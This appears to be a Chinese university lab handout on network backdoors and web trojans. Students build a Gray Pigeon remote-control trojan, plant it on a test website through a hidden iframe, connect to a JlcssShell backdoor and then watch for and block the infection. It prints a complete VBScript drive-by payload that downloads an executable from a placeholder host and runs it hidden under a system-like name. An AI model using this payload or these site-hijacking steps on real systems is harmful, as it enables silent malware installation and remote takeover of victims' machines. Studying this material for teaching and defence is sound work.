资源描述
实验三 网络后门和网页木马
【实验目的】
理解后门的定义与分类;掌握后门的操作与原理;剖析网页木马的工作原理; 理解木马的植入过程;学会编写简单的网页木马脚本;通过分析监控信息实现手动删除木马。
【实验人数】
每组2人
【系统环境】
Windows
【网络环境】
交换网络结构
【实验工具】
灰鸽子木马;监控器工具;JlcssShell;网络协议分析器
【实验原理】
最早的后门是由系统开发人员为自己留下入口而安装的,而今天,并非开发人员将后门装入自己设计的程序中,而是大多数攻击者将后门装入他人开发和维护的系统中。通过使用这样的后门,攻击者可以很轻松地获得系统的访问权,进而获得系统的控制权。为了更加明确,我们给出后门的以下定义: 后门是一个允许攻击者绕过系统中常规安全控制机制的程序,它按照攻击者自己的意愿提供通道。
后门的作用在于为攻击者进入目标计算机提供通道。这个通道可能表现为不同形式,它取决于攻击者的目的和所使用的特定后门类型。后门能够为攻击者提供许多种不同类型的访问,包括以下几种:
本地权限的提升:这类后门使得对系统有访问权的攻击者突然变换其权限等级成为管理员,有了这些超级用户权限,攻击者可以重新设置系统或访问任何存储在系统中的文件。
单个命令的远程执行:利用这种类型的后门,攻击者可以向目标计算机发送消息。每次执行一个单独的命令,后门执行攻击者的命令并将其输出返回给攻击者。
远程命令行解释器访问:正如我们所知的远程shell命令,这种类型的后门允许攻击者通过网络快递直接地键入受害计算机的命令提示。攻击者可以利用命令行解释器的所有特征,包括执行一个命令集合的能力编写脚本,选择一些文件进行操作。远程shell比简单的单命令远程执行要强大得多,因为它们可以模拟攻击者对目标计算机的键盘有直接访问权的情形。
远程控制GUI(Remote Control of the GUI):比将命令行解释器弄混乱更甚,有些后门可以让攻击者看到目标计算机的GUI,控制鼠标的移动,输入对键盘的操作,这些都是通过网络实现的。有了对GUI的远程控制,攻击者可以看到受害者对计算机的所有操作,甚至远程控制GUI。
无论后门提供何种类型的访问,我们都会发现这些方法的重点在于控制。后门使得攻击者控制计算机,这一切通常是通过网络远程实现的。有了装入目标计算机的后门,攻击者可以利用这种控制搜索计算机中的易感染文件,改变存储在系统中的任何数据,改装计算机,甚至使系统瘫痪。利用后门,攻击者可以像受害者计算机本身的管理员一样对其进行同样的控制。更有甚者,攻击者可以通过Internet在世界的任何地方实现该控制。
网页木马就是一个由黑客精心制作的含有木马的HTML网页,因为MS06014漏洞存在,当用户浏览这个网页时就被在后台自动安装了木马的安装程序。所以黑客会千方百计的诱惑或者欺骗人们去打开他所制作的网页,进而达到植入木马的目的。不过随着人们网络安全意识的提高,这种方法已经很难欺骗大家了。
还有一种方法就是通过<iframe>标签,在一个正常网站的主页上链接网页木马。浏览者在浏览正常的网站主页时,iframe语句就会链接到含有木马的网页,网页木马就被悄悄植入了。这种方法就是大家经常说的“挂马”,而中了木马的主机通常被幽默的称作“肉鸡”。“挂马”因为需要获取网站管理员的权限,所以难度很大。不过他的危害也是十分巨大的,如果黑客获得了一个每天流量上万的知名网站的管理员权限并成功“挂马”,那试想他会有多少“肉鸡”。以下是挂马操作。
<html>
<script language="VBScript">
<!-- 首先动态创建对象组件,并声明组件的clsid -->
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
<!-- 创建XMLHTTP对象,用来完成从数据包到Request对象的转换以及发送任务 -->
Set xh = df.createObject("Microsoft.XMLHTTP","")
<!-- 创建Adodb.Stream对象,提供存取二进制数据或文本流,实现对流的读、写等操作 -->
Set ados = df.createObject("Adodb.Stream","")
ados.type = 1
<!-- 使用HTTP GET初始化HTTP请求 -->
url = "http://主机IP地址:9090/Server_Setup.exe"
xh.Open "GET", url, False
<!-- 发送HTTP请求,并获取HTTP响应 -->
xh.Send
<!-- 创建Scripting.FileSystem对象,提供对计算机文件系统进行访问 -->
Set fs = df.createObject("Scripting.FileSystemObject","")
<!-- 获取目标路径,0为windows目录;1为system目录;2为用户临时目录 -->
Set tmpdir = fs.GetSpecialFolder(2)
<!-- 向目标路径后添加文件名称winlogin.exe,此名称与系统文件名相似,不易被察觉 -->
fname1="winlogin.exe"
fname1= fs.BuildPath(tmpdir,fname1)
<!-- 打开Adodb.Stream对象,将服务器返回的响应数据写入对象,将对象内容保存至目标文件-->
ados.Open
ados.Write xh.responseBody
ados.SaveToFile fname1,2
<!-- 文件系统操作完成,关闭对象 -->
ados.Close
<!-- 创建Shell对象,调用执行目标文件 -->
Set sl = df.createObject("Shell.Application","")
<!-- 以隐藏方式运行木马 -->
sl.ShellExecute fname1,"","","open",0
</script>
</html>
【实验步骤】
网络后门
1. 系统自带远程控制工具(3389远程控制)
(1)设置远程登录用户。
主机B依次单击“我的电脑”|“属性”|“远程”|“远程桌面”,选中“启用这台计算机上的远程桌面”。
单击“选择远程用户”按钮,进入远程桌面用户,单击“添加”按钮,添加远程用户帐户,在选择用户对话框中点选“高级”|“立即查找”,在查找结果中选择一个已存在的用户,按确定,完成用户添加工作。
(2)将用户名,密码告知同组主机A,并由其对本机进行远程登录。
主机A依次单击“开始”|“程序”|“附件”|“通讯”|“远程桌面连接”,启动远程桌面连接工具,在计算机一栏填写同组主机B的IP地址,单击“连接”按钮进行连接。在出现的登录界面中填入同组主机B提供的用户名和密码以图形界面登录到同组主机。利用远程连接,在同组主机上进行文件操作,注意不要随便删除连接主机上的文件。
2. 远程控制工具JlcssShell
(1)主机B首先在控制台中执行netstat -an,查看本机开启的端口情况。单击实验平台工具栏中“JlcssShell”按钮,进入JlcssShell工作目录,运行JlcssShell.exe,再次查看本机开启端口的情况,端口21581是否开启 。
(2)主机A确认JlcssShell后门植入主机B后,用“telnet”命令对主机B连接并实现部分功能的控制。主机A打开命令行操作界面,输入“telnet 主机B的IP地址 21581”,其中“21581”为JlcssShell后门程序的执行端口。然后输入“连接密码”:jlcssok。 确认后即可进入远程控制界面。输入“?”键入“回车”,获取帮助菜单。
「注」 帮助菜单中q操作不但能够退出当前远程连接操作,而且可以卸载远程shell后门。因此在执行了q操作后,需要重新运行程序,启动后门。
(3)主机A对主机B进行简单的磁盘操作。
3.后门通信分析
根据协议分析器对捕获数据的会话分析结果,回答下列问题:
(1)后门客户程序进行网络主机后门探测时,其发送的最初网络数据的协议类型是__________,通过该协议可以达到什么目标__________。
(2)若探测的目标主机存在(不一定存在后门),后门客户程序接下来发送的网络数据IP上层协议类型是__________、上层协议负载长度__________(字节)、最后6个字节文本内容是__________。
(3)受害主机对后门客户程序发出的后门探测命令的响应数据内容是__________、IP上层协议类型是__________。
(4)后门客户程序发出枚举受害主机运行进程的命令是__________。
(5)通过命令netstat -nap tcp(或udp)查看服务端口,对比运行贪吃蛇程序后系统监听端口是否有变化?
4. 防御无端口后门
应对ICMP无端口后门的最有效的方法就是在主机上设置ICMP数据包的处理规则,极端的方法就是拒绝所有的ICMP数据包。
请尝试启用实验系统自带的Windows防火墙,阻止后门通信。
网页木马
木马生成与植入
在进行本实验步骤之前,我们再来阐述一下用户主机通过访问被“挂马”的网站而被植入木马的过程,便于同学们理解和完成实验。
(1)用户访问被“挂马”的网站主页。(此网站是安全的)
(2)“挂马”网站主页中的<iframe>代码链接一个网址(即一个网页木马),使用户主机自动访问网页木马。(通过把<iframe>设置成不可见的,使用户无法察觉到这个过程)
(3)网页木马在得到用户连接后,自动发送安装程序给用户。
(4)如果用户主机存在MS06014漏洞,则自动下载木马安装程序并在后台运行。
(5)木马安装成功后,木马服务端定时监测控制端是否存在,发现控制端上线后立即弹出端口主动连接控制端打开的被动端口。
(6)客户端收到连接请求,建立连接。
1. 生成网页木马
(1)主机A首先通过Internet信息服务(IIS)管理器启动“木马网站”。
(2)主机A进入实验平台在工具栏中单击“灰鸽子”按钮运行灰鸽子远程监控木马程序。
(3)主机A生成木马的“服务器程序”。
主机A单击木马操作界面工具栏“配置服务程序”按钮,弹出“服务器配置”对话框,单击“自动上线设置”属性页,在“IP通知http访问地址、DNS解析域名或固定IP”文本框中输入本机IP地址,在“保存路径”文本框中输入“D:\Work\IIS\Server_Setup.exe”,单击“生成服务器”按钮,生成木马“服务器程序”。
(4)主机A编写生成网页木马的脚本。
在桌面建立一个“Trojan.txt”文档,打开“Trojan.txt”,将实验原理中网马脚本写入,并将第15行“主机IP地址”替换成主机A的IP地址。把“Trojan.txt”文件扩展名改为“.htm”,生成“Trojan.htm”。
「注」 C:\ExpNIS\NetAD-Lab\Projects\Trojan\Trojan.htm文件提供了VB脚本源码。
将生成的“Trojan.htm”文件保存到“D:\Work\IIS\”目录下(“D:\Work\IIS\”为“木马网站”的网站空间目录),“Trojan.htm”文件就是网页木马程序。
2. 完成对默认网站的“挂马”过程
(1)主机A进入目录“C:\Inetpub\wwwroot”,使用记事本打开“index.html”文件。
(“默认网站”的网站空间目录为“C:\Inetpub\wwwroot\”,主页为“index.html”)
(2)对“index.html”进行编辑。在代码的底部加上<iframe>语句,具体见实验原理|名词解释|iframe标签(需将
3. 木马的植入
(1)主机B设置监控。
主机B进入实验平台,单击工具栏“监控器”按钮,打开监控器。
在向导栏中依次启动“进程监控”、“端口监控”,选择“文件监控”,在菜单栏中选择“选项”|“设置”,在设置界面中设置监视目录“C:\Windows\”(默认已被添加完成),操作类型全部选中,启动文件监控。
启动协议分析器,单击菜单“设置”|“定义过滤器”,在弹出的“定义过滤器”对话框中选择“网络地址”选项卡,设置捕获主机A与主机B之间的数据。
新建捕获窗口,点击“选择过滤器”按钮,确定过滤信息。在捕获窗口工具栏中点击“开始捕获数据包”按钮,开始捕获数据包。
主机B启动IE浏览器,访问“http:// 主机A的IP地址”。
(2)主机A等待“灰鸽子远程控制”程序主界面的“文件管理器”属性页中“文件目录浏览”树中出现“自动上线主机”时通知主机B。
(3)主机B查看“进程监控”、“服务监控”、“文件监控”和“端口监控”所捕获到的信息。
在“进程监控”|“变化视图”中查看是否存在“进程映像名称”为“H.ini”的新增条目。观察进程监控信息,结合实验原理回答下面的问题。
H.ini文件是由哪个进程创建的:__________;
在“服务监控”中单击工具栏中的“刷新”按钮,查看是否存在“服务名称”为“Windows XP Vista” 的新增条目,观察服务监控信息,回答下面的问题。
Windows XP vista服务的执行体文件是:__________;
在“文件监控”中查看“文件名”为“C:\WINDOWS\H.ini”的新增条目。
在“端口监控”中查看“远程端口”为“8000”的新增条目,观察端口监控信息,回答下面问题:
8000服务远程地址(控制端)地址:__________;
经过对上述监控信息的观察,你认为在“进程监控”中出现的winlogoin.exe进程(若存在)在整个的木马植入过程中起到的作用是:__________;
(4)主机B查看协议分析器所捕获的信息。
注意图中划线部分的数据,结合实际结果找到对应的信息。
协议分析器捕获信息
【思考问题】
1. 列举出几种不同的木马植入方法。
2. 列举出几种不同的木马防范方法。
3. 后门和木马的区别。
7
展开阅读全文